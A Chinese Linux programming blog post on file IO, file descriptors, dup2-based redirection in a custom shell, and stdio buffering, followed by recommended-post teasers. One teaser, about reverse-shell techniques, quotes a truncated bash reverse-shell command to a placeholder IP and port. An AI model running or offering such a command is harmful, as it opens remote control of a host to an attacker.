深入理解 Linux 基础 IO:从文件概念到自定义 Shell 重定向

Linux文件描述符原理与Shell重定向实现 文件描述符是Linux系统编程的核心概念之一,作为进程访问I/O资源的抽象句柄,其底层通过文件描述符表、文件表和inode表三级结构实现。理解描述符的复制(dup/dup2)与继承机制,是掌握Shell重定向、管道等高级特性的基础。本文以minishell开发为例,详解如何通过文件描述符操作实现输入输出重定向、描述符传递等关键功能,并探讨epoll监控、非阻塞IO等高性能场景下的最佳实践。 阅读详情

        在 Linux 编程世界中,“一切皆文件” 是贯穿始终的核心思想,而基础 IO 操作则是与这些 “文件” 交互的关键。无论是日常的文件读写,还是与键盘、显示器等外设通信,甚至是网络数据传输,都离不开对 IO 机制的理解。本文将以 Linux 系统为背景,从文件的本质出发,逐步深入系统调用、文件描述符、重定向等核心概念,最终带你实现自定义 Shell 的重定向功能,帮你彻底打通基础 IO 的知识脉络。

一、重新认识 “文件”:不止是磁盘中的文档

提到 “文件”,多数人的第一反应是磁盘里存储的文档(如.txt、.c 文件),但在 Linux 系统中,文件的概念被极大地扩展了。我们需要从狭义和广义两个维度重新理解它,这是掌握 IO 操作的第一步。

1.1 狭义文件:磁盘上的永久性存储

狭义的文件就是我们最熟悉的 “磁盘文件”,它具有两个核心特征:

        永久性存储:磁盘是持久化存储介质,除非主动删除,否则文件会一直存在;

        本质是 IO 操作:对文件的读写(如打开、修改、保存),本质是对 “磁盘” 这个外设的输入(从磁盘读数据到内存)和输出(从内存写数据到磁盘)操作,即 IO(Input/Output)。

1.2 广义文件:Linux 下 “一切皆文件”

Linux 系统将所有硬件设备、进程、管道等都抽象成了 “文件”,例如:

        键盘(标准输入)、显示器(标准输出 / 错误);

        网卡、磁盘、打印机等外设;

        管道(Pipe)、套接字(Socket,用于网络通信)。

这种抽象的最大好处是统一接口:无论操作的是磁盘文件还是键盘,都可以使用一套 IO 接口(如 read/write),极大降低了开发复杂度。例如,用 read(0, ...) 可以读取键盘输入,用 write(1, ...) 可以向显示器输出 —— 这里的 0 和 1 就是后续要讲的 “文件描述符”。

1.3 文件的本质:属性 + 内容

无论哪种文件,其本质都是 “属性(元数据)+ 内容” 的集合:

        属性:描述文件的信息,如文件名、大小、权限(rwx)、创建时间、所属用户等;

        内容:文件实际存储的数据(如文本、二进制指令)。

即使是 0KB 的空文件,也会占用磁盘空间 —— 因为它需要存储 “文件名、权限” 等属性信息。所有文件操作(如 chmod 修改权限、cat 查看内容),本质都是对 “属性” 或 “内容” 的修改。

二、回顾 C 语言文件 IO:库函数的封装与使用

2.1 核心接口:fopen/fwrite/fread/fclose

C 语言通过 FILE* 指针管理打开的文件,核心操作流程如下:

1. 打开文件:fopen
#include <stdio.h>
int main() {
    // 以“只写”模式打开 myfile,不存在则创建
    FILE *fp = fopen("myfile", "w");
    if (!fp) {  // 打开失败会返回 NULL
        printf("fopen error!\n");
        return 1;
    }
    fclose(fp);  // 关闭文件,必须调用!
    return 0;
}

        路径问题:若不指定路径(如 myfile),文件会创建在 “进程的当前工作目录(CWD)” 下。可以通过 /proc/[进程ID]/cwd 查看进程的当前目录(例如 ls -l /proc/1234/cwd)。

        打开模式:"w"(只写,覆盖原有内容)、"r"(只读)、"a"(追加写)等,后续会详细说明。

2. 写文件:fwrite
#include <stdio.h>
#include <string.h>
int main() {
    FILE *fp = fopen("myfile", "w");
    if (!fp) { printf("fopen error!\n"); return 1; }
    
    const char *msg = "hello bit!\n";
    int count = 5;
    // 向 fp 写入 5 次 msg(每次写 strlen(msg) 字节)
    while (count--) {
        fwrite(msg, strlen(msg), 1, fp);
    }
    fclose(fp);
    return 0;
}

   fwrite 参数:const void *ptr(待写数据地址)、size_t size(每个数据块大小)、size_t nmemb(数据块数量)、FILE *stream(目标文件指针)。

3. 读文件:fread
#include <stdio.h>
#include <string.h>
int main() {
    FILE *fp = fopen("myfile", "r");
    if (!fp) { printf("fopen error!\n"); return 1; }
    
    char buf[1024];
    const char *msg = "hello bit!\n";
    while (1) {
        // 每次读 strlen(msg) 字节到 buf
        ssize_t s = fread(buf, 1, strlen(msg), fp);
        if (s > 0) {
            buf[s] = '\0';  // 手动加字符串结束符
            printf("%s", buf);
        }
        if (feof(fp)) {  // 判断是否读到文件末尾
            break;
        }
    }
    fclose(fp);
    return 0;
}

        关键注意点:fread 返回实际读取的字节数,若返回 0,需用 feof(fp) 判断是 “文件末尾” 还是 “读取错误”。

2.2 标准流:stdin/stdout/stderr

C 语言程序启动时,会默认打开 3 个标准流(FILE* 类型),对应 3 个常用外设:

  stdin(标准输入):对应键盘,文件描述符为 0;

  stdout(标准输出):对应显示器,文件描述符为 1;

  stderr(标准错误):对应显示器,文件描述符为 2。

例如,向显示器输出的 3 种方式:

#include <stdio.h>
#include <string.h>
int main() {
    const char *msg = "hello fwrite\n";
    fwrite(msg, strlen(msg), 1, stdout);  // 用 fwrite 写 stdout
    printf("hello printf\n");             // printf 本质是向 stdout 输出
    fprintf(stdout, "hello fprintf\n");   // fprintf 指定 stdout
    return 0;
}

2.3 打开模式详解

不同的打开模式决定了文件的操作权限,常见模式如下:

模式含义核心特征
r只读打开文件不存在则报错;流定位到文件开头
r+读写打开文件不存在则报错;流定位到文件开头
w只写打开文件不存在则创建,存在则清空;流定位到开头
w+读写打开同 w,但支持读操作
a追加写文件不存在则创建;流定位到文件末尾,每次写都追加到末尾
a+追加读 + 写同 a,但支持读(读操作从开头开始,写操作仍追加到末尾)

三、Linux 系统文件 IO:内核接口的本质

C 库函数(如 fopen)是对 “系统调用” 的封装,而系统调用是操作系统内核提供的、直接操作硬件 / 文件的接口。掌握系统调用,才能真正理解 IO 操作的底层逻辑。

3.1 核心系统调用:open/read/write/close

系统调用的接口风格与 C 库函数不同,例如用 open 代替 fopen,用 int fd(文件描述符)代替 FILE*。

1. 打开文件:open
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

int main() {
    umask(0);  // 清除默认权限掩码(否则创建文件权限会被削弱)
    // 以“只写+创建”模式打开 myfile,权限为 0644(所有者读写,其他读)
    int fd = open("myfile", O_WRONLY | O_CREAT, 0644);
    if (fd < 0) {  // 打开失败返回 -1
        perror("open");  // 打印错误信息(比 printf 更直观)
        return 1;
    }
    close(fd);  // 关闭文件,必须调用!
    return 0;
}

        关键参数:
                pathname:文件路径(绝对 / 相对);
                flags:打开标志,用 “按位或” 组合(如 O_WRONLY | O_CREAT);
                mode:仅当 flags 包含 O_CREAT 时需要,指定文件的初始权限(如 0644)。
        常用 flags:
                O_RDONLY(只读)、O_WRONLY(只写)、O_RDWR(读写):三选一;
                O_CREAT:文件不存在则创建;
                O_TRUNC:文件存在则清空内容;
                O_APPEND:追加写(每次写都到文件末尾)。

2. 写文件:write
int main() {
    umask(0);
    int fd = open("myfile", O_WRONLY | O_CREAT, 0644);
    if (fd < 0) { perror("open"); return 1; }
    
    const char *msg = "hello bit!\n";
    int len = strlen(msg);
    int count = 5;
    while (count--) {
        // 向 fd 写入 len 字节(从 msg 地址开始)
        write(fd, msg, len);
    }
    close(fd);
    return 0;
}

  write 返回值:成功则返回实际写入的字节数,失败返回 -1。

3. 读文件:read
int main() {
    int fd = open("myfile", O_RDONLY);
    if (fd < 0) { perror("open"); return 1; }
    
    char buf[1024];
    const char *msg = "hello bit!\n";
    while (1) {
        // 从 fd 读 strlen(msg) 字节到 buf
        ssize_t s = read(fd, buf, strlen(msg));
        if (s > 0) {
            printf("%s", buf);
        } else {
            break;  // s=0 表示文件末尾,s=-1 表示错误
        }
    }
    close(fd);
    return 0;
}

3.2 库函数 vs 系统调用:谁在封装谁?

很多人会混淆 “库函数” 和 “系统调用”,这里用一张图明确它们的关系:

用户层                内核层
+----------+          +----------+
| fopen    |          | open     |
| fread    | 封装     | read     |
| fwrite   |--------->| write    |
| fclose   |          | close    |
+----------+          +----------+
  C 标准库(libc)     系统调用接口

        系统调用:内核提供的底层接口,直接与硬件 / 文件系统交互,权限高但使用繁琐;

        库函数:用户层的封装(如 C 标准库),在系统调用基础上增加了 “缓冲区”“错误处理” 等功能,更易用。

例如,fwrite 会先将数据写入 “用户层缓冲区”,当缓冲区满或调用 fflush 时,才会调用 write 系统调用将数据写入内核 —— 这也是后续 “缓冲区” 章节的核心内容。

四、文件描述符(fd):理解重定向的关键

文件描述符(File Descriptor,简称 fd)是系统调用中最核心的概念,它是一个非负整数,代表 “进程打开的文件”。理解 fd,就能理解 “重定向” 的本质。

4.1 为什么 fd 从 0 开始?

Linux 进程启动时,会默认打开 3 个文件描述符:

  fd=0:标准输入(stdin),对应键盘;

  fd=1:标准输出(stdout),对应显示器;

  fd=2:标准错误(stderr),对应显示器。

这三个 fd 对应的文件,在内核中用 struct file 结构体描述(存储文件属性、当前读写位置等)。而进程通过 task_struct(进程控制块)中的 files_struct 结构体管理所有打开的文件,其中包含一个 file* fd_array[] 数组 ——fd 本质就是这个数组的下标!

例如,fd=1 表示 fd_array[1] 指向 “显示器” 对应的 struct file 结构体,write(1, msg, len) 就是向这个结构体对应的文件写入数据。

4.2 fd 的分配规则:最小未使用原则

当进程新打开一个文件时,内核会分配 “当前未使用的最小 fd” 作为新的文件描述符。我们用代码验证这一点:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main() {
    // 关闭 fd=0(标准输入)
    close(0);
    // 新打开文件,此时最小未使用 fd 是 0
    int fd = open("myfile", O_RDONLY);
    if (fd < 0) { perror("open"); return 1; }
    printf("fd: %d\n", fd);  // 输出:fd: 0
    close(fd);
    return 0;
}

如果不关闭任何 fd,新打开的文件 fd 会是 3(因为 0、1、2 已被占用)。

4.3 重定向的本质:修改 fd_array 的指向

我们常使用 ./a.out > myfile 将程序输出重定向到文件,其本质就是修改 fd_array[1] 的指向—— 从 “显示器” 的 struct file 改为 “myfile” 的 struct file。

用代码实现简单的重定向:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>

int main() {
    close(1);  // 关闭原来的 fd=1(显示器)
    // 新打开 myfile,此时 fd=1 指向 myfile
    int fd = open("myfile", O_WRONLY | O_CREAT, 0644);
    if (fd < 0) { perror("open"); return 1; }
    
    printf("fd: %d\n", fd);  // 本应输出到显示器,现在输出到 myfile
    fflush(stdout);  // 强制刷新缓冲区(否则数据可能留在缓冲区)
    close(fd);
    return 0;
}

运行后,myfile 中会出现 fd: 1—— 这就是重定向的核心逻辑:通过关闭原有 fd,让新文件占用该 fd,从而改变数据的流向。

4.4 用 dup2 系统调用简化重定向

手动关闭 fd 实现重定向不够灵活,Linux 提供了 dup2 系统调用,直接将 oldfd 的指向复制给 newfd:

#include <unistd.h>
// 功能:让 newfd 指向 oldfd 对应的文件(若 newfd 已打开则先关闭)
int dup2(int oldfd, int newfd);

用 dup2 实现重定向示例:

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>

int main() {
    // 打开 log 文件,fd 为 3
    int fd = open("./log", O_CREAT | O_RDWR, 0644);
    if (fd < 0) { perror("open"); return 1; }
    
    // 让 fd=1(stdout)指向 fd=3(log)对应的文件
    dup2(fd, 1);
    
    // 后续 printf 会输出到 log 文件
    printf("hello redirect\n");
    fflush(stdout);
    close(fd);
    return 0;
}

五、自定义 Shell 新增重定向功能

理解了重定向的本质后,我们可以给自定义 Shell 增加 >(输出重定向)、>>(追加重定向)、<(输入重定向)功能。核心思路是:解析用户命令中的重定向符号,在子进程中通过 dup2 实现重定向,再执行命令。

5.1 核心步骤

  1. 解析命令:从用户输入的命令(如 ls -l > myfile)中,分离出 “命令部分”(ls -l)和 “重定向部分”(> myfile);
  2. 创建子进程:Shell 本身不执行命令,而是创建子进程执行;
  3. 子进程中重定向:根据解析出的重定向类型,用 dup2 调整 fd 指向;
  4. 执行命令:用 execvpe 执行命令(程序替换,不影响重定向结果)。

5.2 关键代码实现

1. 解析重定向符号
#include <cstring>
#include <ctype.h>

// 全局变量:重定向类型和目标文件名
#define NoneRedir 0  // 无重定向
#define InputRedir 1 // < 输入重定向
#define OutputRedir 2// > 输出重定向
#define AppRedir 3   // >> 追加重定向
int redir = NoneRedir;
char *filename = nullptr;

// 去除字符串中的空格
#define TrimSpace(pos) do { \
    while (isspace(*pos)) pos++; \
} while (0)

// 解析命令中的重定向符号(从后向前解析,避免被空格干扰)
void ParseRedir(char command_buffer[], int len) {
    int end = len - 1;
    while (end >= 0) {
        if (command_buffer[end] == '<') {
            redir = InputRedir;
            command_buffer[end] = '\0';  // 截断命令,只保留命令部分
            filename = &command_buffer[end + 1];
            TrimSpace(filename);
            break;
        } else if (command_buffer[end] == '>') {
            if (end > 0 && command_buffer[end - 1] == '>') {
                redir = AppRedir;
                command_buffer[end - 1] = '\0';
                filename = &command_buffer[end + 1];
                TrimSpace(filename);
                break;
            } else {
                redir = OutputRedir;
                command_buffer[end] = '\0';
                filename = &command_buffer[end + 1];
                TrimSpace(filename);
                break;
            }
        }
        end--;
    }
}
2. 子进程中执行重定向
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>

// 子进程中执行重定向
void DoRedir() {
    if (redir == InputRedir) {  // < 输入重定向:从文件读,替换 stdin(fd=0)
        int fd = open(filename, O_RDONLY);
        if (fd < 0) exit(2);
        dup2(fd, 0);  // fd=0 指向文件
        close(fd);
    } else if (redir == OutputRedir) {  // > 输出重定向:写文件,替换 stdout(fd=1)
        int fd = open(filename, O_CREAT | O_WRONLY | O_TRUNC, 0666);
        if (fd < 0) exit(4);
        dup2(fd, 1);
        close(fd);
    } else if (redir == AppRedir) {  // >> 追加重定向:追加写文件
        int fd = open(filename, O_CREAT | O_WRONLY | O_APPEND, 0666);
        if (fd < 0) exit(6);
        dup2(fd, 1);
        close(fd);
    }
}

// 执行命令(创建子进程)
bool ExecuteCommand(char *gargv[], char *genv[]) {
    pid_t id = fork();
    if (id < 0) return false;
    if (id == 0) {  // 子进程
        DoRedir();  // 先重定向,再执行命令
        execvpe(gargv[0], gargv, genv);  // 程序替换,加载命令执行
        exit(7);  // 若 exec 失败,退出子进程
    }
    // 父进程等待子进程
    int status = 0;
    waitpid(id, &status, 0);
    return true;
}
3. 主流程整合
int main() {
    char command_buffer[1024];  // 存储用户输入的命令
    char *gargv[64];            // 存储命令参数(如 ["ls", "-l", NULL])
    char *genv[64];             // 存储环境变量
    InitEnv(genv);              // 初始化环境变量(从父进程继承)
    
    while (true) {
        PrintCommandLine();  // 打印 Shell 提示符(如 [user@host dir]$)
        if (!GetCommandLine(command_buffer, sizeof(command_buffer))) continue;  // 获取用户命令
        
        // 解析命令:先解析重定向,再解析命令参数
        ResetCommand(gargv, &redir, &filename);  // 重置状态
        ParseRedir(command_buffer, strlen(command_buffer));
        ParseCommand(command_buffer, gargv);  // 解析命令参数(如 "ls -l" -> ["ls", "-l", NULL])
        
        // 执行命令(内建命令如 cd 由 Shell 自己执行,其他命令由子进程执行)
        if (CheckBuiltCommand(gargv)) continue;
        ExecuteCommand(gargv, genv);
    }
    return 0;
}

至此,我们的自定义 Shell 就支持重定向功能了。例如,输入 ls -l > myfile,子进程会先将 fd=1 指向 myfile,再执行 ls -l,结果会写入 myfile 而非显示器。

六、缓冲区:为什么 printf 有时不立即输出?

在实际开发中,你可能遇到过这样的问题:printf("hello") 没有立即输出到显示器,直到程序结束才显示 —— 这背后是 “缓冲区” 在起作用。

6.1 缓冲区的本质:减少系统调用,提高效率

缓冲区是内存中的一块临时存储区域,用于缓存输入 / 输出数据。其核心目的是减少系统调用的次数:

        若没有缓冲区,每次 printf 都会调用 write 系统调用(涉及用户态→内核态切换,耗时);

        有缓冲区后,printf 先将数据写入 “用户层缓冲区”,当缓冲区满、遇到换行符或调用 fflush 时,才会调用 write 将数据写入内核。

6.2 三种缓冲类型

C 标准库的 FILE 结构体支持三种缓冲类型,默认规则如下:

  1. 全缓冲:缓冲区满时才刷新(如磁盘文件);
  2. 行缓冲:遇到换行符 \n 或缓冲区满时刷新(如显示器 stdout);
  3. 无缓冲:不缓存,数据立即写入内核(如 stderr,确保错误信息及时显示)。
示例:验证缓冲类型
#include <stdio.h>
#include <unistd.h>

int main() {
    // 情况 1:stdout 是行缓冲,遇到 \n 刷新
    printf("hello line buffer\n");  // 有 \n,立即输出
    
    // 情况 2:stdout 重定向到文件后,变为全缓冲
    close(1);
    int fd = open("log.txt", O_WRONLY | O_CREAT, 0666);
    printf("hello full buffer");  // 无 \n,缓冲区未满,不输出
    // fflush(stdout);  // 若打开此句,会强制刷新,数据写入 log.txt
    sleep(3);  // 等待 3 秒,观察 log.txt 是否有内容
    close(fd);
    return 0;
}

运行后,log.txt 中没有内容 —— 因为 printf 写入全缓冲后未刷新。若调用 fflush(stdout),数据会立即写入文件。

6.3 FILE 结构体:封装 fd 和缓冲区

C 库的 FILE 结构体不仅封装了文件描述符(_fileno),还包含了缓冲区相关的字段。查看 /usr/include/libio.h 中的定义:

struct _IO_FILE {
    int _flags;          // 缓冲类型等标志
    char* _IO_read_ptr;  // 读缓冲区当前指针
    char* _IO_write_ptr; // 写缓冲区当前指针
    char* _IO_write_end; // 写缓冲区末尾
    char _shortbuf[1];   // 小缓冲区
    int _fileno;         // 封装的文件描述符!
    // ... 其他字段
};

  _IO_write_ptr:指向当前写入缓冲区的位置;

  _IO_write_end:指向缓冲区末尾,当 _IO_write_ptr == _IO_write_end 时,缓冲区满,触发刷新。

这也解释了为什么 fwrite 比 write 多一层缓冲 ——fwrite 操作的是 FILE 结构体中的用户层缓冲区,而 write 直接操作内核。

七、总结:基础 IO 知识体系

通过本文的学习,我们从 “文件概念” 到 “系统调用”,再到 “重定向” 和 “缓冲区”,构建了完整的 Linux 基础 IO 知识体系。核心要点总结如下:

  1. 文件本质:Linux 下一切皆文件,文件 = 属性 + 内容,操作主体是进程;
  2. 接口分层:库函数(如 fopen)封装系统调用(如 open),系统调用是内核接口;
  3. 文件描述符:fd 是进程 fd_array 数组的下标,默认 0(stdin)、1(stdout)、2(stderr);
  4. 重定向:修改 fd 对应的 struct file 指向,如 dup2(fd, 1) 实现输出重定向;
  5. 缓冲区:用户层缓冲区由 C 库提供,分全缓冲 / 行缓冲 / 无缓冲,减少系统调用次数。
深入理解计算机系统—— I/O 重定向 文章目录1、键入文件2、使用 dup2 函数3、例题 Linux shell 提供了 I/O 重定向操作符,允许用户将磁盘文件和标准输入输出联系起来。 1、键入文件 linux> ls > foo.txt / ls 显示当前文件夹/ /显示到 foo.txt 这/ 使得 shell 加载和执行 ls 程序,将标准输出重定向到磁盘文件 foo.txt 。 2、使用 dup2 函数 dup2 函数复制描述符表表项 oldfd 符到描述符表表项 newfd ,覆盖描述符表表项 newfd 以前 阅读详情

相关推荐

Linux系统编程8-18总结项目:完成一个简单的自己的shell

文章目录一:进程创建(1)fork函数回顾(2)写时拷贝二:进程终止(1)进程终止时的三种情况 一:进程创建 (1)fork函数回顾 在下面这篇文章我们演示了fork函数以及相关细节 点击跳转 还是借助上文中的程序和效果图片 #include <stdio.h> #include <unistd.h> int main() { printf("执行到fork函数之前其进程为:%d,其父进程为:%d\n",getpid(),getppid()); sleep(1);

快乐江湖的博客 596

【Linux初阶】基础IO - 简易 shell添加重定向功能

shell重定向功能的代码实现

Captain_ldx的博客 1162

宽带波束形成

介绍了宽带波束形成器的时域滤波结构,以及波束响应的计算公式,宽带波束形成器的波束响应可表示为权重向量和方向向量的积

... 2490

Linux 基础 IO 深度解析:从文件描述符到重定向、缓冲区与自定义 stdio

本文完整梳理Linux基础IO完整链路,从文件描述符底层模型切入,阐明fd是进程私有文件描述符表下标,串联进程fd表、struct file、inode三层内核结构,解释open标志位按位或的设计原理与输出/追加重定向底层差异。重点解析dup2实现重定向的核心逻辑:修改fd指向而非拷贝文件,shell需在fork子进程内完成dup2再exec,避免污染父shell标准流。区分C库IO函数与write系统调用:printf/fwrite存在用户态缓冲区,分无缓冲、行缓冲、全缓冲三种刷新。

2503_92532131的博客 364

AI编程实战:用Spec Coding与Codex半小时重构全栈项目

这次我们来看一个能显著提升全栈开发效率的实战方法:利用 AI 编程工具 Codex 和 Spec Coding 工作流,将原本需要数周甚至一个月的全栈项目重构工期,压缩到半小时级别。这不是概念探讨,而是基于现有工具链的、可立即上手的工程实践。 对于前端开发者或全栈工程师而言,面对老旧项目重构、技术栈升级或从零搭建新项目时,最大的痛点往往是重复性、模式化的代码编写工作。手动编写 CRUD 接口、页面组件、状态管理和联调测试,耗时费力且容易出错。而 AI 辅助编程的核心价值,正是在于将开发者从这些“体力活”中解

weixin_33525298的博客 290

Unity热更实战:用YooAsset+HybridCLR实现小游戏资源与代码双更新(含避坑清单)

本文详细介绍了Unity小游戏开发中如何通过YooAsset与HybridCLR实现资源与代码双热更新方案。内容涵盖环境配置、架构设计、微信小游戏专项优化、热更代码工程化实践及真机调试技巧,帮助开发者解决审核周期长、紧急修复等痛点,提升更新效率与稳定性。

weixin_42520025的博客 501

【Linux】深入理解重定向

本期博客带你深入理解重定向,包括它的原理,本质,并且在之前的Shell命令行解释器中实现相关功能,最后初步理解一切皆文件

2401_86785052的博客 1054

软考中级信息系统监理师(第二版)-第21章基础设施工程监理

由于网络信息技术的飞速发展,变化日新月异,网络设计不但要保证目前网络传输容量的要求,也要考虑今后网络的发展,满足当前以及今后相当一段时间内的网络需求,便于向新技术的升级和衔接,同时又需要保护原有的投资。通用布缆系统工程中,承建单位的竣工文档主要包括以下内容:承建合同,招标文件,投标文件,设计方案,工程实施组织设计方案,工程施工报告,隐蔽工程记录,变更记录,自测报告,信息点分布图(表),园区、楼宇、水平配线表,楼层平面图及无线设备点位图,无线设备信息表,竣工图纸等。多排安装时,列间距不应小于1200mm。

2301_78583973的博客 1400

基础IO:IO操作&&重定向

输出重定向、覆盖写入,依赖。

2301_77799834的博客 333

2025年“区块链技术”职业院校技能大赛赛后复盘与总结(必看)

记录一次2025年“区块链技术”职业院校技能大赛的参加经验总结与赛后复盘

我是网络安全兼技能大赛工程师,专注网络安全技术学习与技能大赛实战!持续分享最新的技术文章,帮你少走弯路,一起在技术赛道上进步~ 1991

扣子Coze触发器使用指南:实现工作流定时执行的完整教程

Coze平台触发器功能详解:定时触发器配置指南 摘要:Coze平台的触发器是实现自动化任务的核心组件,其中定时触发器能够按预设时间自动执行工作流。本指南介绍了定时触发器的配置方法,包括每日、每周、每月及Cron表达式等多种时间设置方式,以及如何关联工作流执行具体任务。文章还提供了健身提醒等实用案例,并涵盖了触发器调试、发布及常见问题解决方案。通过合理配置定时触发器,用户可以轻松实现各类自动化任务,如定时发送消息、数据采集等,大幅提升工作效率。

互联网架构师笔记 1922

深入理解Linux IO:从文件描述符到高性能编程实战

在计算机系统中,输入输出(IO)是程序与外部世界交互的核心机制,它决定了数据如何在内存、磁盘、网络等设备间流动。其原理基于操作系统提供的抽象层,如文件描述符和虚拟文件系统,将复杂的硬件操作统一为简单的读写接口。这项技术的价值在于,通过缓冲、异步和多路复用等机制,可以大幅提升程序的吞吐量和响应速度,尤其在处理高并发网络请求或大数据文件时至关重要。常见的应用场景包括Web服务器、数据库系统以及日志处理工具。本文将聚焦Linux环境,解析文件描述符、标准IO与文件IO的差异、重定向的实现,并探讨epoll等IO多

weixin_33851429的博客 406

HarmonyOS 鸿蒙开发DevEco Studio OpenHarmony:安全测试

通过对HarmonyOS应用生命周期建模和应用攻击面建模,采用静态数据流分析技术,提高漏洞发现的准确率,同时覆盖20余种攻击面,65+漏洞测试项,帮助开发者提前发现和识别漏洞隐患。在检测报告中,会针对每一项漏洞风险项给出明确的修复建议,可以帮助开发者快速修复漏洞。

斌擎科技 1181

Shell-重定向0 1 2含义解释

title: Shell-重定向2>&1的含义解释 date: 2020-7-3 22:27:36 categories: Shell tags: 重定向 一.0 1 2 在Linux中代表的含义 名称 代码 操作符 Linux 下文件描述符(Debian 为例) 标准输入 0 < or << 标准输出 1 > ,>>,1>,1>> 标准错误输出 2 2> or 2>> 多用于对变.

qq_37126850的博客 810

基于Simulink的间接功率控制的矩阵变换器

通过上述步骤,我们成功设计并实现了基于 Simulink 的间接功率控制的矩阵变换器仿真模型。该模型能够通过控制输入电流和输出电压,实现对功率的间接控制,适用于电机驱动、可再生能源系统、电力传输等领域。通过虚拟场景仿真、参数优化和性能评估,验证了系统的稳定性和高效性,并通过调整 PI 控制器参数和优化调制算法,进一步提升了系统的性能。

MHD0815的博客 295

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

【linux编程实践教程(Bruce Molay)】第十章 IO重定向和管道

一 shell编程 comm命令:比较两个文件是否相等 二 IO重定向 1-基础 很多Unix命令都被称为Unix工具 一个进程(一个使用中的命令)都会产生一个存放文件描述符的数组,该数组中的下标就是文件描述符的号,0,1,2三位是进程的标准输入输出和错误流(进程接收0位的输入,从1位输出)。 最低可用文件描述符原则 2-将进程的标准输入重定向到文件 进程的标准输入默认是连接终端的 关...

梦想道路上的萌新 283

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

Sympozium Helm Chart 部署指南:CRD 与控制平面分离安装的完整教程

Sympozium 是一个运行在 Kubernetes 上的多智能体 AI 协调层(Coordination Layer for Multi-Agent AI),本文带你用 Helm Chart 完成 Sympozium 的生产级部署:先装 CRD、再装控制平面,并详解升级与回滚时的正确操作顺序。 ## 一、为什么要将 CRD 与控制平面拆成两个 Chart? 这是理解 Sympozium H

gitblog_00137的博客 325

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

linux重定向实例,shell常用重定向实例讲解

每个打开的文件都会被分配一个文件描述符.stdin (键盘), stdout (屏幕), 和 stderr (错误消息输出到屏幕上)的文件描述符分别是0, 1, 和 2. 对于正在打开的额外文件, 保留了描述符3到9.文件描述符是文件系统为了跟踪这个打开的文件而分配给它的一个数字。下面以实例说明1,>的用法[zhangy@localhost ~]$ echo "11111" > 1.t...

weixin_39911998的博客 207

Linux基础IO操作与文件描述符详解

在计算机系统中,输入输出(IO)是程序与外部世界交互的基础机制。Linux采用'一切皆文件'的设计哲学,通过文件描述符这一核心概念统一管理各类IO操作。文件描述符作为非负整数标识符,不仅简化了系统编程模型,还支持标准输入、输出和错误流的统一处理。从技术实现看,Linux通过系统调用如open、read、write等提供底层IO能力,配合重定向和管道等特性,极大提升了系统级编程的灵活性。这些基础IO技术广泛应用于日志处理、数据管道构建等场景,特别是在服务器运维和后台开发中,掌握文件描述符操作和性能优化技巧尤为

weixin_30254435的博客 315

Linux shell I/O重定向详解

Linux shell I/O重定向详解I/O重定向详解及应用实例1、 基本概念(这是理解后面的知识的前提,请务必理解)a、 I/O重定向通常与 FD有关,shell的FD通常为10个,即 0~9;b、 常用FD有3个,为0(stdin,标准输入)、1(stdout,标准输出)、2(stderr,标准错误输出),默认与keyboard、monitor、monitor有关;c、 用 d、 用 > 来

老夏课堂-夏曹俊的技术专栏 569

linux脚本实现多重管道,Shell 管道及执行顺序分析

Shell 管道及执行顺序分析更新时间:2013年01月23日 15:58:34 作者:Shell 管道及执行顺序分析,需要的朋友可以参考下1、基本概念a、I/O重定向通常与 FD有关,shell的FD通常为10个,即 0~9;b、常用FD有3个,为0(stdin,标准输入)、1(stdout,标准输出)、2(stderr,标准错误输出),默认与keyboard、monitor、monitor...

weixin_32102305的博客 1046

php liunx反弹大马,Linux 下反弹 Shell 方法总结

原标题:Linux 下反弹 Shell 方法总结16004488 所谓反弹shell,指的是我们在自己的机器上开启监听,然后在被攻击者的机器上发送连接请求去连接我们的机器,将被攻击者的shell反弹到我们的机器上。实验环境:CentOS 6.5:192.168.0.3kali2.0:192.168.0.4方法一反弹shell命令如下:bash -i >& /dev/tcp/ip/po...

weixin_33895274的博客 541

Linux文件描述符与IO操作详解

文件描述符是Linux系统IO操作的核心机制,作为进程访问文件资源的统一接口。其本质是内核维护的索引表项,通过整数值关联到具体的文件对象。理解文件描述符的工作原理,对于实现高效IO、进程通信和系统性能优化至关重要。在Linux的'一切皆文件'设计哲学下,包括设备控制、网络通信等场景都通过文件描述符统一管理。实际开发中,通过open/read/write等系统调用操作文件描述符,配合重定向、管道等技术可以实现灵活的数据流转。掌握文件描述符的生命周期管理和性能优化技巧(如零拷贝、异步IO),能够显著提升高并发场

weixin_30607659的博客 349

Linux开发基础与进阶技能

Linux之入门进阶必备技能。

m0_37383484的博客 1375

深入理解计算机系统(CSAPP):Shell Lab

CSAPP八个lab,从ShellLab开始难度和码量开始迅速上升,需要我们熟练掌握书上的内容并灵活运用。 ShellLab要求我们实现一个简单版本的Linux Shell程序。前置知识主要包括第八章(进程控制,信号处理)和第十章(unix系统级IO)。第八章的讲解中有不少Shell的参考代码,可以提(yuan)供(yang)思(fu)路(zhi)。 读一读已经给出的代码 全局数据结构 shell程序用job_t结构管理它的作业(job)。 struct job_t {

chen_yd_的博客 3340
上一篇: Linux 进程控制全解析:从创建到 Shell 实现
下一篇: 深入理解 Linux Ext 系列文件系统:从磁盘物理结构到软硬链接
cpparf
博客等级 码龄2年 48粉丝 65原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
